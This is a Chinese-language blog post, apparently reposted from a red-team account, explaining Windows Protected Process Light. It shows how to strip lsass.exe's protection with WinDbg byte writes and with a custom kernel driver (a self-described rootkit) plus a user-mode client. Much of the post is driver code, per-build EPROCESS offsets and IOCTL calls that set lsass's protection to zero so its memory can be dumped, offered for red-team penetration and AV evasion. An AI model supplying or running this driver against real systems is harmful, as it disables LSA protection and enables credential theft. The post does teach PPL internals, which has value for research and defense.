文章总结: 文档详解WindowsPPL机制原理,阐述其在内核结构中的存储方式。通过WinDbg演示进程保护状态的修改,并提供完整的内核驱动开发方案。该方案编写自定义Rootkit成功绕过PPL保护,移除lsass.exe进程限制,实现内存操作。此技术揭示了PPL在内核攻击下的脆弱性,对红队渗透与内核安全研究具有高实战价值。 综合评分: 88 文章分类: 红队,内网渗透,二进制安全,免杀
从内核层看受保护进程:PPL 如何成为杀软的“免死金牌”?
原创
kernel kernel
Relay学安全
2026年3月3日 22:12 陕西
PPL简介
随着安全威胁的演变,微软需要一种更强大的机制来保护系统进程免受篡改。微软从Windows8.1和Windows Server 2012 R2开始引入了受保护的轻量级进程,也就是Protected Process Loght,简称PPL
PPL通过将访问权限限制为仅受信任的组件来保护重要的进程。与常规的进程不同,PPL的进程是受到保护的,可以防止被调试,代码注入或内存读写。我们可以理解为PPL是为系统中重要的进程套了一层壳子。
因此微软引入了 “保护级别” 的概念,这意味着某些进程可以比其他进程获得更高程度的保护。
进程的保护级别以一个字节的形式存储在内核层中。该值位于每一个进程的EPROCESS结构体中。具体是在Protection字段,该字段占用1个字节。
Protection字段被拆分为三个部分,分别为Type(类型),Audit(审计),Signer(签名者)。Type类型占3位,该类型定义了进程是受保护进程还是受保护的轻量进程或无保护进程。
Audit审计位通常被保留并始终为零。它占一位,用于指示是否对违反保护机制的行为启用审计。
而Signer字段占用4位,它表示签名者。这四位标识了谁对该进程进行了签名,比如是Windows``Lsa``反恶意软件等等。
现在我们可以发现Windows中用于PPL或PP机制下保护进程的不同保护级别。Audit位固定为0,Signer表示负责该进程实体的信任级别,例如WinSystem``WinTcb``Windows``LSA等等。并由一个数字ID来标识。在这种情况下,Type定义了保护的强度。其中 Protected (Type 2) 提供比 Protected Light (Type 1) 更强的隔离性。
例如如上图中的PS_PROTECTED_SYSTEM的十六进制保护值为: 0x72,该值是通过WinSystem签名者和保护类型Protected(2)的值组合来的。
比如Winsystem的数字ID为7,转换二进制为0111 而Protected的ID为2,转换为二进制为: 0010。所以组合就是01110010。转换为十六进制就是0x72。
还有我们熟知的PS_PROTECTED_LSA_LIGHT,它的十六进制保护值为: 0x41,它是由LSA签名者和Protected Light(1)保护类型组合得到的。
PPL实例
现在让我们来使用Windbg来操作进程的保护级别,这里以一个Notepad.exe记事本进程为例。我们将使用Windbg来查看该进程的保护级别。
首先通过如下命令获取到notepad.exe记事本进程的地址。
!process 0 0 notepad.exe
下一步则是查看notepad.exe进程的Protection字段的值。
dt nt!_EPROCESS <Address> Protection
从如上图我们可以得知Notepad.exe进程没有受到任何保护,其Protection的字段为空,标识它并不是一个受保护的进程。这意味着它可能被相同或更高完整性级别的进程访问或修改。
现在我们将通过Windbg来将Notepad.exe进程的保护级别十六进制值修改为0x41,0x41代表了 “LSA进程” 级别的保护。
我们将使用eb命令进行修改。eb命令用于写入一个字节的值。
eb <Process Address+0x87a> 0x41
可以看到我们成功的将notepad.exe进程的保护级别更改为了PsProtectedSignerLsa-Loght。
那么既然可以为普通进程进行保护操作,那么也可以移除其他进程上的受保护级别。比如这里最典型的就是lsass.exe进程了。
该进程是受保护的,且受保护的级别为PsProtectedSignerLsa-Light。
从windbg中查看。
如果我们直接在进程管理器这里创建转储文件,会发生拒绝访问的错误。
那么我们还是一样通过eb指令来将其保护级别移除掉。
eb ffffcd068219c080+0x87a 0x0
移除之后再次进行转储,发现可以了。
编写自定义Rootkit
现在我们来通过代码的方式来绕过PPL。首先来看一下驱动层的代码。首先是DriverEntry的代码,在该函数中我们设置根据不同的IRP类型所调用的派遣函数。以及创建设备和设备链接用于用户层和驱动设备进行通信。
//主函数 驱动加载时会执行该函数extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {//抑制报错UNREFERENCED_PARAMETER(RegistryPath);
//根据IRP类型设置派遣函数DriverObject->MajorFunction[IRP_MJ_CREATE] = PPLCreateClose;DriverObject->MajorFunction[IRP_MJ_CLOSE] = PPLCreateClose;DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = PPLDeviceControl;
//设置Unload例程DriverObject->DriverUnload = PPLUnload;//创建设备UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\PPLManager");PDEVICE_OBJECT DeviceObject;IoCreateDevice(DriverObject,0,&devName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,FALSE,&DeviceObject);
//设置缓冲区DeviceObject->Flags |= DO_BUFFERED_IO;
//创建设备链接UNICODE_STRING SymLink = RTL_CONSTANT_STRING(L"\\??\\PPLManager");IoCreateSymbolicLink(&SymLink, &devName);
//获取到Protection偏移 不同的Windows版本中的EPROCESS结构中的偏移是不一样的if (GetProtectionOffset()) {DbgPrintEx(0, 0, "[%s] Unsupported windows build !\n", DRIVER_NAME);PPLUnload(DriverObject);return (STATUS_UNSUCCESSFUL); }return STATUS_SUCCESS;}
其中调用GetProtectionOffset函数来根据不同的Windows版本来获取Protection成员偏移量。因为不同版本的Windows的EPROCESS结构是不同的。
该函数主要利用RTL_OSVERSIONINFOW结构体,该结构体中的dwBuildNumber成员表示操作系统的内部版本号。根据操作系统的内部版本号来返回不同的偏移量。返回的偏移量我们将其存储到ProtectionOffset变量中。
这些偏移量都是从vergiliusproject.com中获取到的。在这里选择你的Windows版本,比如这里我选择Windows 10。
进入后搜索EPROCESS结构体。
如上图中的0x87a对应的Windows10版本。
NTSTATUS GetProtectionOffset() { RTL_OSVERSIONINFOW pversion;//获取系统版本信息 RtlGetVersion(&pversion);//根据操作系统内部版本来返回Protection的偏移if (pversion.dwBuildNumber == 9600) { ProtectionOffset = 0x67a; }else if (pversion.dwBuildNumber == 10240) { ProtectionOffset = 0x6aa; }else if (pversion.dwBuildNumber == 10586) { ProtectionOffset = 0x6b2; }else if (pversion.dwBuildNumber == 14393) { ProtectionOffset = 0x6c2; }else if (pversion.dwBuildNumber == 15063) { ProtectionOffset = 0x6ca; }else if (pversion.dwBuildNumber == 16299) { ProtectionOffset = 0x6ca; }else if (pversion.dwBuildNumber == 17134) { ProtectionOffset = 0x6ca; }else if (pversion.dwBuildNumber == 17763) { ProtectionOffset = 0x6ca; }else if (pversion.dwBuildNumber == 18362) { ProtectionOffset = 0x6fa; }else if (pversion.dwBuildNumber >= 19041) { ProtectionOffset = 0x87a; }else { ProtectionOffset = 0; }if (ProtectionOffset)return STATUS_SUCCESS;return STATUS_UNSUCCESSFUL;}
下面我们来看看当IRP类型为IRP_MJ_DEVICE_CONTROL时所调用的PPLDeviceControl派遣函数。
首先该函数获取到从用户模式进程传递到输入缓冲区中的数据,然后根据IOCTL控制码来执行不同的逻辑。
这里将通过调用PsLookupProcessByProcessId函数,该函数接收进程的Pid,通过该函数获取到进程的EPROCESS结构的地址,通过EPROCESS结构体的地址加上上面获取到的Protecion偏移量来得到Protecion成员的地址。然后将从用户层传递过来的ProtectionLevel的值赋值给它从而修改进程的保护等级。
下一步则是启用调试权限。
然后打开驱动设备句柄,构造结构体,发送I/O请求即可。
//打开驱动设备句柄 HANDLE hDevice = CreateFileA("\\\\.\\PPLManager", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0,NULL); if(hDevice == INVALID_HANDLE_VALUE){ printf("error device!!!"); return -1; }
//发送I/O设备请求 ProtectionInfo protection = { 0 }; protection.Pid = 848; protection.ProtectionLevel = 0; DWORD BytesReturned = NULL; DeviceIoControl(hDevice, 0x8098C, &protection, sizeof(protection), &protection, sizeof(protection), &BytesReturned, NULL);
现在我们来看看效果,首先我们先去加载我们的驱动文件。
紧接着下一步则是运行我们的程序,在没有运行之前lsass.exe进程是受保护的。
当我们运行过后,该保护级别将被移除掉。
完整代码,公众号回复: 20260303
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Relay学安全 kernel kernel《从内核层看受保护进程:PPL 如何成为杀软的“免死金牌”?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论